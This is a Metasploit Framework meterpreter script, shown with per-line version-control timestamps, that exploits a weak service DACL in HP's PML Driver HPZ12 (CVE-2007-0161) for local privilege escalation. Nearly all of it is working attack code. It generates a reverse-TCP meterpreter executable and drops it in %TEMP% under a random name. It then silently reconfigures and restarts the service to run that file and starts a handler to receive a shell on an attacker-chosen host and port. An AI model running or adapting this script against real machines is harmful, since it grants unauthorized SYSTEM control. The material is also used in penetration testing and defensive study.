2009-10-19 19:05:37 +00:00
|
|
|
##
|
2010-03-07 22:49:08 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-10-19 19:05:37 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2017-07-24 13:26:21 +00:00
|
|
|
# https://metasploit.com/framework/
|
2009-10-19 19:05:37 +00:00
|
|
|
##
|
|
|
|
|
2014-09-16 21:41:14 +00:00
|
|
|
##
|
|
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
2018-02-13 11:30:05 +00:00
|
|
|
# If you'd like to improve this script, please try to port it as a post
|
2014-09-16 21:41:14 +00:00
|
|
|
# module instead. Thank you.
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
|
2009-10-19 19:05:37 +00:00
|
|
|
##
|
|
|
|
# HP Multiple Products PML Driver HPZ12 Local Privilege Escalation.
|
|
|
|
#
|
|
|
|
# This module exploits a privilege escalation vulnerability in
|
|
|
|
# Hewlett-Packard's PML Driver HPZ12. Due to an insecure
|
|
|
|
# SERVICE_CHANGE_CONFIG DACL permission, a local attacker can
|
|
|
|
# gain elevated privileges.
|
|
|
|
#
|
|
|
|
# BID - 21935
|
|
|
|
# CVE - 2007-0161
|
|
|
|
# mc[@]metasploit.com
|
|
|
|
##
|
|
|
|
|
|
|
|
#
|
|
|
|
# Options
|
|
|
|
#
|
2013-07-03 13:41:23 +00:00
|
|
|
@exec_opts = Rex::Parser::Arguments.new(
|
2013-09-30 18:47:53 +00:00
|
|
|
"-h" => [ false, "This help menu" ],
|
|
|
|
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back" ],
|
|
|
|
"-p" => [ true, "The port on the remote host where Metasploit is listening" ]
|
2009-10-19 19:05:37 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
#
|
|
|
|
# Default parameters
|
|
|
|
#
|
2013-07-03 13:41:23 +00:00
|
|
|
rhost = nil
|
|
|
|
rport = nil
|
2009-10-19 19:05:37 +00:00
|
|
|
|
2013-07-03 13:41:23 +00:00
|
|
|
def usage
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.")
|
|
|
|
print_line(@exec_opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
2013-07-03 13:41:23 +00:00
|
|
|
end
|
2009-10-19 19:05:37 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Option parsing
|
|
|
|
#
|
|
|
|
opts.parse(args) do |opt, idx, val|
|
2013-09-30 18:47:53 +00:00
|
|
|
case opt
|
|
|
|
when "-r"
|
|
|
|
rhost = val
|
|
|
|
when "-p"
|
|
|
|
rport = val.to_i
|
|
|
|
else
|
|
|
|
usage
|
|
|
|
end
|
2009-10-19 19:05:37 +00:00
|
|
|
end
|
2013-07-03 13:41:23 +00:00
|
|
|
|
|
|
|
if rhost.nil? or rport.nil?
|
2013-09-30 18:47:53 +00:00
|
|
|
usage
|
2017-04-26 04:31:39 +00:00
|
|
|
if client.platform == 'windows'
|
2013-09-30 18:47:53 +00:00
|
|
|
client.sys.process.get_processes().each do |m|
|
|
|
|
if ( m['name'] =~ /HPZipm12\.exe/ )
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.")
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
# Build out the exe payload.
|
|
|
|
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
|
|
|
|
pay.datastore['LHOST'] = rhost
|
|
|
|
pay.datastore['LPORT'] = rport
|
|
|
|
raw = pay.generate
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
# Place our newly created exe in %TEMP%
|
2013-12-19 01:43:59 +00:00
|
|
|
tempdir = client.sys.config.getenv('TEMP')
|
2013-09-30 18:47:53 +00:00
|
|
|
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
|
|
print_status("Sending EXE payload '#{tempexe}'.")
|
|
|
|
fd = client.fs.file.new(tempexe, "wb")
|
|
|
|
fd.write(exe)
|
|
|
|
fd.close
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Stopping service \"Pml Driver HPZ12\"...")
|
|
|
|
client.sys.process.execute("cmd.exe /c sc stop \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'})
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Setting Pml Driver to #{tempexe}...")
|
|
|
|
client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= #{tempexe}", nil, {'Hidden' => 'true'})
|
|
|
|
sleep(1)
|
|
|
|
print_status("Restarting the \"Pml Driver HPZ12\" service...")
|
|
|
|
client.sys.process.execute("cmd.exe /c sc start \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'})
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
# Our handler to recieve the callback.
|
|
|
|
handler = client.framework.exploits.create("multi/handler")
|
|
|
|
handler.datastore['WORKSPACE'] = client.workspace
|
|
|
|
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
|
|
|
|
handler.datastore['LHOST'] = rhost
|
|
|
|
handler.datastore['LPORT'] = rport
|
|
|
|
handler.datastore['ExitOnSession'] = false
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
handler.exploit_simple(
|
|
|
|
'Payload' => handler.datastore['PAYLOAD'],
|
|
|
|
'RunAsJob' => true
|
|
|
|
)
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'})
|
|
|
|
end
|
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
else
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("This version of Meterpreter is not supported with this script!")
|
|
|
|
raise Rex::Script::Completed
|
2009-10-19 19:05:37 +00:00
|
|
|
end
|